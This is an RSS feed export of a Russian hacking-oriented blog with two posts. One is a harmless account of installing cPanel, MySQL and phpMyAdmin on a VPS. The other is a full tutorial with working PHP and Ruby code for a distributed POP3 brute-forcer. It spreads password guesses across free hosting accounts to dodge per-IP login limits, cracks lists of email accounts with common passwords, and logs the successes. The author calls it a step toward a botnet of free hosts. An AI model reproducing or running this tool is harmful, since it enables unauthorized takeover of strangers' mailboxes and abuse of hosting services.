<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; бесплатный хостинг</title>
	<atom:link href="http://blog.lukmus.ru/tag/besplatnyiy-hosting/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>установка cPanel Trial + phpMyAdmin + MySQL</title>
		<link>http://blog.lukmus.ru/2010/08/10/ustanovka-cpanel-trial-phpmyadmin-mysql/</link>
		<comments>http://blog.lukmus.ru/2010/08/10/ustanovka-cpanel-trial-phpmyadmin-mysql/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 03:14:35 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[макхост]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=340</guid>
		<description><![CDATA[Значит началось все с того, что на VPS я решил установить cPanel. Я, по доброте душевной, думал, что cPanel представляет из себя набор PHP-скриптов, представлюящих некое подобие web-интерфейса к серверу и распространяющееся бесплатно. Исходя из своих предположении, я сначала поставил MySQL и phpMyAdmin и в завершении всего решил поставить cPanel&#8230; В итоге cPanel оказалась платным [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/cpwhmlogo.jpg"><img class="alignleft size-full wp-image-341" style="margin: 5px 10px;" title="cpwhmlogo" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/cpwhmlogo.jpg" alt="" width="160" height="49" /></a>Значит началось все с того, что на VPS я решил установить cPanel. Я, по доброте душевной, думал, что cPanel представляет из себя набор PHP-скриптов, представлюящих некое подобие web-интерфейса к серверу и распространяющееся бесплатно. Исходя из своих предположении, я сначала поставил MySQL и phpMyAdmin и в завершении всего решил поставить cPanel&#8230;<span id="more-340"></span></p>
<p>В итоге cPanel оказалась платным системным приложением, поэтому я и скачал триальную версию с оффсайта <a href="http://cpanel.net" target="_blank">cpanel.net</a>.</p>
<p>Скачав, бинарный файл cpanel-universal-install.sea, я начал ее устанавливать:</p>
<blockquote><p><code># ./cpanel-universal-install.sea</code></p></blockquote>
<p>Инсталяция продлилась около полуторачаса. В итоге на сервере cPanel затерла все мои предыдущие труды, а точнее MySQL и phpMyAdmin и конфигурацию Apache. Я, как и большинство не читаю мануалы, тем более если они на английском, поэтому набрав в браузере ip сервера и увидев страницу ошибки cPanel, я немного смутился т.к. ожидал там увидеть что-то наподобе завершения конфигурации cPanel. Опытным путем я выяснил, что заходить надо по адресу ip-сервера:port, где port &#8211; номер порта, указанного в файле конфигурации /var/cpanel/cpanel.config.</p>
<p>По умолчанию логин и пароль администратора cPanel &#8211; cpanel:&lt;пароль root сервера&gt;.</p>
<p>Зайдя в панель, не сложно догадатся, что далее следует пройти в WHM, где можно создать пользователя и многое другое. И там я попытался создать БД, однако в место этого увидел ошибку, мол соединится с БД не реально.</p>
<p>В итоге выяснилось что от моей MySQL и phpMyAdmin остались только конфиги в /etc. По непонятным причинам репозитарии YUM, где были пакеты с MySQL и phpMyAdmin резко стали недоступны. Но я не стал горевать, а скачал тарболы с оффсайта.</p>
<p>MySQL &#8211; <a href="http://www.mysql.ru/" target="_blank">http://www.mysql.ru</a></p>
<p>phpMyAdmin &#8211; <a href="http://www.phpmyadmin.net" target="_blank">http://www.phpmyadmin.net</a></p>
<p><strong>Установка MySQL из тарбола:</strong></p>
<blockquote><p><code># tar xzf mysql-version.tar.gz //распаковываем архив<br />
# ./configure //конфигурируем и компилируем<br />
# make &amp;&amp; make install<br />
# scripts/mysql_install_db<br />
# chmod a+x support-files/mysql.server //ставим права на исполнение<br />
# support-files/mysql.server start //запускаем mysql-сервер<br />
# /usr/local/bin/mysqladmin -u root password 'new-pass' //устанавливаем рутовский пароль</code></p></blockquote>
<p><strong>Установка phpMyAdmin &#8211; примитивна до нельзя:</strong></p>
<ol>
<li>качаем архив и распаковываем его в папку /usr/local/cpanel/base/3rdparty/phpMyAdmin,</li>
<li>в файле /etc/phpMyAdmin/config.inc.php прописываем наш админский пароль, хост и прочее.</li>
</ol>
<p>И тут у вас может возникнуть резонный вопрос: если мы не устанавливали phpMyAdmin а просто распокавали его тарбол каким таким образом в /etc нарисуется его конфиг. Я отвечу многозначительным молчанием т.к. у меня конфиг там остался от первой установки.</p>
<p><strong>/etc/phpMyAdmin/config.inc.php</strong><br />
<code> /**<br />
* phpMyAdmin configuration file, you can use it as base for the manual<br />
* configuration. For easier setup you can use "setup/".<br />
*<br />
* All directives are explained in Documentation.html and on phpMyAdmin<br />
* wiki .<br />
*/<br />
//<br />
/*<br />
* This is needed for cookie based authentication to encrypt password in<br />
* cookie<br />
*/<br />
$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */<br />
/**<br />
* Server(s) configuration<br />
*/<br />
$i = 0;<br />
// The $cfg['Servers'] array starts with $cfg['Servers'][1].  Do not use<br />
// $cfg['Servers'][0]. You can disable a server config entry by setting host<br />
// to ''. If you want more than one server, just copy following section<br />
// (including $i incrementation) serveral times. There is no need to define<br />
// full server array, just define values you need to change.<br />
$i++;<br />
$cfg['Servers'][$i]['host']          = 'localhost'; // MySQL hostname or IP address<br />
$cfg['Servers'][$i]['port']          = '';          // MySQL port - leave blank for default port<br />
$cfg['Servers'][$i]['socket']        = '';          // Path to the socket - leave blank for default socket<br />
$cfg['Servers'][$i]['connect_type']  = 'tcp';       // How to connect to MySQL server ('tcp' or 'socket')<br />
$cfg['Servers'][$i]['extension']     = 'mysqli';    // The php MySQL extension to use ('mysql' or 'mysqli')<br />
$cfg['Servers'][$i]['compress']      = FALSE;       // Use compressed protocol for the MySQL connection<br />
// (requires PHP &gt;= 4.3.0)<br />
$cfg['Servers'][$i]['controluser']   = 'root';          // MySQL control user settings<br />
// (this user must have read-only<br />
$cfg['Servers'][$i]['controlpass']   = 'new-password';          // access to the "mysql/user"<br />
// and "mysql/db" tables).<br />
// The controluser is also<br />
// used for all relational<br />
// features (pmadb)<br />
$cfg['Servers'][$i]['auth_type']     = 'http';      // Authentication method (config, http or cookie based)?<br />
$cfg['Servers'][$i]['user']          = 'root';          // MySQL user<br />
$cfg['Servers'][$i]['password']      = 'new-password';          // MySQL password (only needed<br />
// with 'config' auth_type)<br />
$cfg['Servers'][$i]['only_db']       = '';          // If set to a db-name, only<br />
// this db is displayed in left frame<br />
// It may also be an array of db-names, where sorting order is relevant.<br />
$cfg['Servers'][$i]['hide_db']       = '';          // Database name to be hidden from listings<br />
$cfg['Servers'][$i]['verbose']       = '';          // Verbose name for this host - leave blank to show the hostname<br />
$cfg['Servers'][$i]['pmadb']         = '';          // Database used for Relation, Bookmark and PDF Features<br />
// (see scripts/create_tables.sql)<br />
//   - leave blank for no support<br />
//     DEFAULT: 'phpmyadmin'<br />
$cfg['Servers'][$i]['bookmarktable'] = '';          // Bookmark table<br />
//   - leave blank for no bookmark support<br />
//     DEFAULT: 'pma_bookmark'<br />
$cfg['Servers'][$i]['relation']      = '';          // table to describe the relation between links (see doc)<br />
//   - leave blank for no relation-links support<br />
//     DEFAULT: 'pma_relation'<br />
$cfg['Servers'][$i]['table_info']    = '';          // table to describe the display fields<br />
//   - leave blank for no display fields support<br />
//     DEFAULT: 'pma_table_info'<br />
$cfg['Servers'][$i]['table_coords']  = '';          // table to describe the tables position for the PDF schema<br />
//   - leave blank for no PDF schema support<br />
//     DEFAULT: 'pma_table_coords'<br />
$cfg['Servers'][$i]['pdf_pages']     = '';          // table to describe pages of relationpdf<br />
//   - leave blank if you don't want to use this<br />
//     DEFAULT: 'pma_pdf_pages'<br />
$cfg['Servers'][$i]['column_info']   = '';          // table to store column information<br />
//   - leave blank for no column comments/mime types<br />
//     DEFAULT: 'pma_column_info'<br />
$cfg['Servers'][$i]['history']       = '';          // table to store SQL history<br />
//   - leave blank for no SQL query history<br />
//     DEFAULT: 'pma_history'<br />
$cfg['Servers'][$i]['verbose_check'] = TRUE;        // set to FALSE if you know that your pma_* tables<br />
// are up to date. This prevents compatibility<br />
// checks and thereby increases performance.<br />
$cfg['Servers'][$i]['AllowRoot']     = TRUE;        // whether to allow root login<br />
$cfg['Servers'][$i]['AllowDeny']['order']           // Host authentication order, leave blank to not use<br />
= '';<br />
$cfg['Servers'][$i]['AllowDeny']['rules']           // Host authentication rules, leave blank for defaults<br />
= array();<br />
$cfg['Servers'][$i]['AllowNoPassword']              // Allow logins without a password. Do not change the FALSE<br />
= FALSE;       // default unless you're running a passwordless MySQL server<br />
$cfg['Servers'][$i]['designer_coords']              // Leave blank (default) for no Designer support, otherwise<br />
= '';          // set to suggested 'pma_designer_coords' if really needed<br />
$cfg['Servers'][$i]['bs_garbage_threshold']         // Blobstreaming: Recommented default value from upstream<br />
= 50;          //   DEFAULT: '50'<br />
$cfg['Servers'][$i]['bs_repository_threshold']      // Blobstreaming: Recommented default value from upstream<br />
= '32M';       //   DEFAULT: '32M'<br />
$cfg['Servers'][$i]['bs_temp_blob_timeout']         // Blobstreaming: Recommented default value from upstream<br />
= 600;         //   DEFAULT: '600'<br />
$cfg['Servers'][$i]['bs_temp_log_threshold']        // Blobstreaming: Recommented default value from upstream<br />
= '32M';       //   DEFAULT: '32M'<br />
/*<br />
* End of servers configuration<br />
*/<br />
/*<br />
* Directories for saving/loading files from server<br />
*/<br />
$cfg['UploadDir'] = '/var/lib/phpMyAdmin/upload';<br />
$cfg['SaveDir']   = '/var/lib/phpMyAdmin/save';<br />
?&gt;</code><br />
Справедливости ради стоит отметить что в этой версии cPanel (а на сегодняшний день это последняя версия), в ней установлен phpPgAdmin, при этом PostegeSQL установлена не была.</p>
<p>И в конце, на правах рекламы и благодарности скажу, что все эти опыты проводились на VPS любезно подаренной мне хостингом <a href="http://mchost.ru/" target="_blank" rel="nofollow">&#8216;Макхост &#8216;</a>. А так же хочу отметить, что если бы я не был таким дураком и нормально просмотрел меню virtuozzo power panel (интерфейс к которой по умолчанию предоставляет Макхост для управления VPS), то заметил бы такую штуку как &#8216;контейнеры&#8217;, судя по всему в которой можно было бы без гемороя установить какой-нибудь бесплатный аналог cPanel&#8217;е.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/10/ustanovka-cpanel-trial-phpmyadmin-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>распределенный POP3-брутфорс или брут мыл через фрихосты</title>
		<link>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/</link>
		<comments>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 01:55:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[freehost]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=86</guid>
		<description><![CDATA[Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть. Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и [...]]]></description>
			<content:encoded><![CDATA[<p>Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.</p>
<p>Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.<br />
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота &#8211; попытка авторизации на POP3-сервере.<span id="more-86"></span></p>
<p>Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.<br />
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.</p>
<p>Брутфорс будет состоять из 2-х частей:</p>
<ol>
<li>серверная &#8211; PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем</li>
<li>клиентская &#8211; Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся</li>
</ol>
<p><strong>Сервер (PHP-скрипты).</strong></p>
<p>Сервер будет состоять из 3-х файлов:</p>
<ol>
<li>библиотека &#8211; lib.php</li>
<li>конфигурация &#8211; config.php</li>
<li>сам скрипт авторизации &#8211; brut.php</li>
</ol>
<p>В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.</p>
<p>Итак, сам lib.php:</p>
<blockquote><p>&lt;?php<br />
class Email {<br />
var $server;<br />
var $full_addr;<br />
var $login;<br />
const SOCK_ERR=-3;<br />
const FST_GET_ERR=-2;<br />
const LOGIN_ERR=-1;<br />
const INCCORECT_PASS=0;<br />
const SUCC=1;</p>
<p>function __construct($addr)<br />
{$this-&gt;full_addr=$addr;<br />
$this-&gt;set_serv();<br />
$this-&gt;set_login(); }</p>
<p>private function set_serv ()<br />
{$strpos=strpos($this-&gt;full_addr,&#8217;@');<br />
$this-&gt;server=&#8221;pop.&#8221; . substr($this-&gt;full_addr,$strpos+1,strlen($this-&gt;full_addr)-$strpos); }</p>
<p>private function set_login ()<br />
{$this-&gt;login=substr($this-&gt;full_addr,0,strpos($this-&gt;full_addr,&#8217;@')); }</p>
<p>public function try_auth ($pass)<br />
{ $pop_conn = fsockopen($this-&gt;server, 110,$errno, $errstr, 10);<br />
if (!(is_resource($pop_conn))) return -3;</p>
<p>$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -2;</p>
<p>fputs($pop_conn,&#8221;USER $this-&gt;login\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -1;</p>
<p>fputs($pop_conn,&#8221;PASS $pass\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))return 0;</p>
<p>fclose($pop_conn);<br />
return 1;<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.</p>
<blockquote><p>&lt;?php<br />
$login=&#8221;root&#8221;;<br />
$pass=&#8221;jvgfdhg6hj&#8221;;<br />
?&gt;</p></blockquote>
<p>Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.</p>
<blockquote><p>&lt;?php<br />
include &#8216;lib.php&#8217;;<br />
include &#8216;config.php&#8217;;</p>
<p>if (!isset($_POST['login']) || $_POST['login']!=$login) die();<br />
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();<br />
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();</p>
<p>$email= new Email($_POST['op_addr']);<br />
echo &#8216;&lt;ans&gt;&#8217;.$email-&gt;try_auth($_POST['op_pass']).&#8217;&lt;/ans&gt;&#8217;;<br />
?&gt;</p></blockquote>
<p>brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 &#8211; пароль не подошел, 1 &#8211; пароль подошел.</p>
<p>На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.</p>
<p><strong>Клиент (Ruby-скрипты).</strong></p>
<p>Клиентская часть состоит из 2-х скриптов:</p>
<ol>
<li>config.rb &#8211; файл конфигурации</li>
<li>main.rb &#8211; собственно сам клиент</li>
</ol>
<p>Сначала рассмотрим кофиг. Представляет он из себя следующее:</p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']<br />
$path=&#8217;/mailbrut/brut.php&#8217;</p>
<p>$login=&#8221;root&#8221;<br />
$pass=&#8221;jvgfdhg6hj&#8221;</p>
<p>$th_count=3</p>
<p>$fl_addrs=&#8221;mail_list&#8221;<br />
$fl_log=&#8221;mailbrut.log&#8221;<br />
$fl_good=&#8221;good_accs&#8221;</p>
<p>$passes=['pass','qwerty','123456','12345','etc...']</p></blockquote>
<p>Теперь разберемся в нем:</p>
<ul>
<li>$servers &#8211; здесь пишем наши фризосты</li>
<li>$path &#8211; путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же</li>
<li>$login и $pass &#8211; пароль админа брута, должен совпадать с указанными в config.php в серверной части</li>
<li>$th_count &#8211; количество потоков брутфорса, он же у нас многопоточный</li>
<li>$fl_addrs &#8211; файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.</li>
<li>$fl_log &#8211; лог, сюда пишутся все ошибки</li>
<li>$fl_good &#8211; здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass</li>
<li>$passes &#8211; записываем пароли, на которые брутим</li>
</ul>
<p>А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.</p>
<p>main.rb:</p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;config.rb&#8217;</p>
<p>class WEB_Server<br />
def initialize (servers)<br />
@servers=servers<br />
@i=0<br />
end#def<br />
def next_s<br />
server=@servers[@i]<br />
@i+=1<br />
if @i&gt;=@servers.size then @i=0 end<br />
return server<br />
end#def<br />
end#class</p>
<p>def log(logfl,msg)<br />
mess=&#8221;#{Time.now} &lt;-&gt; #{msg}&#8221;<br />
logf=File.new(logfl,&#8217;a')<br />
logf.puts mess<br />
logf.close<br />
puts mess<br />
end#def</p>
<p>puts &#8220;Lukmus PHP-Ruby WebMailBrut starting&#8230;&#8221;</p>
<p>servers=WEB_Server.new($servers)<br />
accs=File.new($fl_addrs,&#8217;r')<br />
while !accs.eof do<br />
op_addr=accs.gets.chop<br />
while Thread.list.size&gt;$th_count do sleep(1) end<br />
th=Thread.new(op_addr) do |p_addr|<br />
$passes.each do |p_pass|<br />
serv=servers.next_s<br />
http = Net::HTTP.new(serv, 80)<br />
data = &#8220;login=#{$login}&amp;pass=#{$pass}&amp;op_addr=#{p_addr}&amp;op_pass=#{p_pass}&#8221;<br />
headers = { &#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;}<br />
resp, data = http.post($path, data, headers)<br />
ans=data.split(&#8216;&lt;ans&gt;&#8217;)[1].split(&#8216;&lt;/ans&gt;&#8217;)[0]<br />
case ans<br />
when &#8216;-3&#8242;<br />
log($fl_log,&#8221;ERR #3 Can&#8217;t open socket &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-2&#8242;<br />
log($fl_log,&#8221;ERR #2 Can&#8217;t connect to server &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-1&#8242;<br />
log($fl_log,&#8221;ERR #1 Can&#8217;t input login &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8217;0&#8242;<br />
puts &#8220;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; invalid pass&#8221;<br />
when &#8217;1&#8242;<br />
log($fl_good,&#8221;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; SUCCESS&#8221;)<br />
break</p>
<p>end#case<br />
#http.close<br />
end#each<br />
end#thread<br />
end#while<br />
th.join</p></blockquote>
<p>Он работает по следующему принципу:</p>
<ul>
<li>ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый</li>
<li>ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом</li>
<li>ПОТОК: берет первый пароль из нашего списка</li>
<li>ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации</li>
<li>ПОТОК: далее берет следующий хостинг и следующий пароль и так далее</li>
<li>ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.</li>
</ul>
<p>В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.</p>
<p>Ну вот и все, как запустить скрипт Ruby можно прочитать <a href="http://blog.lukmus.ru/?p=57" target="_self">здесь</a>, а скачвть все это дело одним архивом можно <a href="http://sharingmatrix.com/file/9978975/php-ruby_webmailbrut.tar" target="_blank">здесь</a></p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
